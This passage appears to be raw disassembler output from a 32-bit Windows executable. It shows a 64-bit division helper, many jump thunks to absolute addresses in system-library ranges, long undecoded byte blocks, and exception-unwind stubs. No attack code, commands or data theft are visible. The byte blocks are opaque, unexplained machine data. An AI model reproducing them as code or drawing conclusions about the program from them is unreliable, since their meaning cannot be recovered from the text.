		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 187E990h, 0E9907781h,	77809196h
		dd 9515E990h, 0E9907780h, 77809888h, 8096ABE9h,	44E9C577h
		dd 977809Ah, 80FEE3E9h,	0E990C277h, 77809E6Eh, 71ECE990h
		dd 0E9907780h, 77809103h, 43ADE990h, 0E990777Fh, 777E4845h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 7E758FE9h, 0FEE96777h
		dd 9777807Bh, 9B30E990h, 0E9907780h, 7780269Bh,	25C1E990h
		dd 0E9907780h, 778113C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 53h,	90h, 0E9h
		dd 777FF01Ch, 8E53E990h, 46FD7780h, 6506B7AAh, 72B1646Fh
		dd 7EFBF5BDh, 0CE23313h, 9DDD7668h, 0CF886F59h,	0E6BF9E6Ah
		dd 56538D46h, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h
		dd 0D8B9077h, 5108B4h, 0F1E80889h, 90777E73h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h,	0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22E8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2459CE2h
		dd 0A050E850h, 4589FFFCh, 0E3E85098h, 9077801Fh, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		nop
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_437EC4	dd 777FCF89h, 1FCCE990h, 0E9907780h, 777FAEDAh,	7E7012E9h
		dd 0E990DE77h, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 7EE9C359h, 92778157h, 0C3C3C033h, 72A2E990h,	0E990777Eh
		dd 777E72D3h, 7FD46FE9h, 0E990EB77h, 777FDD80h,	6F15E990h
		dd 0E9907781h, 75C6844Bh, 8529E990h, 3E975C6h, 0E375C5A1h
		dd 7553E990h, 0E99075C5h, 75C684F8h, 0C4A02AE9h, 0E990DC75h
		dd 75C53908h, 0C5F766E9h, 0E9902D75h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23A8D78h, 3A8E89E9h,	0E9903C02h, 23B8098h, 84D1E990h
		dd 0E990023Bh, 23C808Ch, 8086E990h, 0E990023Dh,	23E8080h
		dd 807AE990h, 0E990023Fh, 23F9723h, 3F997BE9h, 69E96702h
		dd 0BB024080h, 408272E9h, 0E990FA02h, 240839Fh,	8AAAE990h
		dd 0E9900240h, 2418050h, 83C9E990h, 45E90241h, 0FA024280h
		dd 8448E990h, 0E9900242h, 2438038h, 8032E990h, 0E9900244h
		dd 245802Ch, 4590F1E9h,	8FE94E02h, 6702459Bh, 801AE990h
		dd 0E9900246h, 24687B2h, 8C7DE990h, 0E9900246h,	2478008h
		dd 835BE990h, 0E9900247h, 23A8973h, 3A7FF7E9h, 0E9907B02h
		dd 2397FF0h, 8847E990h,	0E9900238h, 2387FE4h, 7FDEE990h
		dd 0E9900237h, 2368D7Ah, 8A98E990h, 0E9900236h,	2368676h
		dd 367FC7E9h, 0E990D402h, 2358CD2h, 7FBAE990h, 82E9022Dh
		dd 402358Ch, 358C2EE9h,	96E9DC02h, 0FA7C4C90h, 8FA7E990h
		dd 0E9907C4Ch, 2358A45h, 88B7E990h, 0E9900235h,	2357F90h
		dd 8887E990h, 0E9900234h, 23486C1h, 8624E990h, 0B9E90234h
		dd 0F0023484h, 83AEE990h, 0E9900234h, 23481B5h,	7F66E990h
		dd 0E9900234h, 2338C38h, 338AB8E9h, 0F0E9B802h,	55023388h
		dd 85CCE990h, 45E90233h, 0DC023385h, 337F95E9h,	0E990DE02h
		dd 2337F3Ch, 8B46E990h,	0E9900232h, 2328959h, 3285D2E9h
		dd 0A5E91102h, 76023282h, 327F1FE9h, 0E9900902h, 2318BD5h
		dd 8B9EE990h, 0E9900231h, 2318554h, 3182E1E9h, 0E9907402h
		dd 2317F00h, 867DE990h,	0E9900230h, 2307EF4h, 8D24E990h
		dd 0DE9022Fh, 37022F8Bh, 2F87BFE9h, 0E9907E02h,	22F85CAh
		dd 7ED6E990h, 0E990022Fh, 22E7ED0h, 3EDBE990h, 0E990001Ch
		dd 24789B6h, 5290A6E9h,	0B1E97102h, 41024E81h, 7EB2E990h
		dd 0E9900252h, 25180DDh, 7EA6E990h, 0A1E90251h,	0AE02507Eh
		dd 8562E990h, 96E9024Fh, 8D024F82h, 4F7E8FE9h, 0E98802h
		dd 2D024E8Ah, 88BFE990h, 0E990024Eh, 24E85D1h, 7E76E990h
		dd 0E9900248h, 24E7E70h, 86C4E990h, 0E990024Dh,	24D8339h
		dd 7E5EE990h, 0E990024Dh, 24C7E58h, 4B7E53E9h, 0E990E802h
		dd 24A99F1h, 9667E990h,	0E990024Ah, 24A93A0h, 9236E990h
		dd 35E9024Ah, 0C7024A7Eh, 7E2EE990h, 0E9900249h, 7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		dd 686290E9h
		db 71h,	0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_4381F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		dw 0ADE9h
		dd 0C57167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167C1E4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		dw 79E9h
		dd 27167CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 67h,	90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 62h
		db 90h
		db 0E9h, 0E3h, 4
		dd 0E9907168h, 7167C1FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		push	ss

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 0F0h, 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 0DE96E990h, 0E9907780h, 7780E040h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
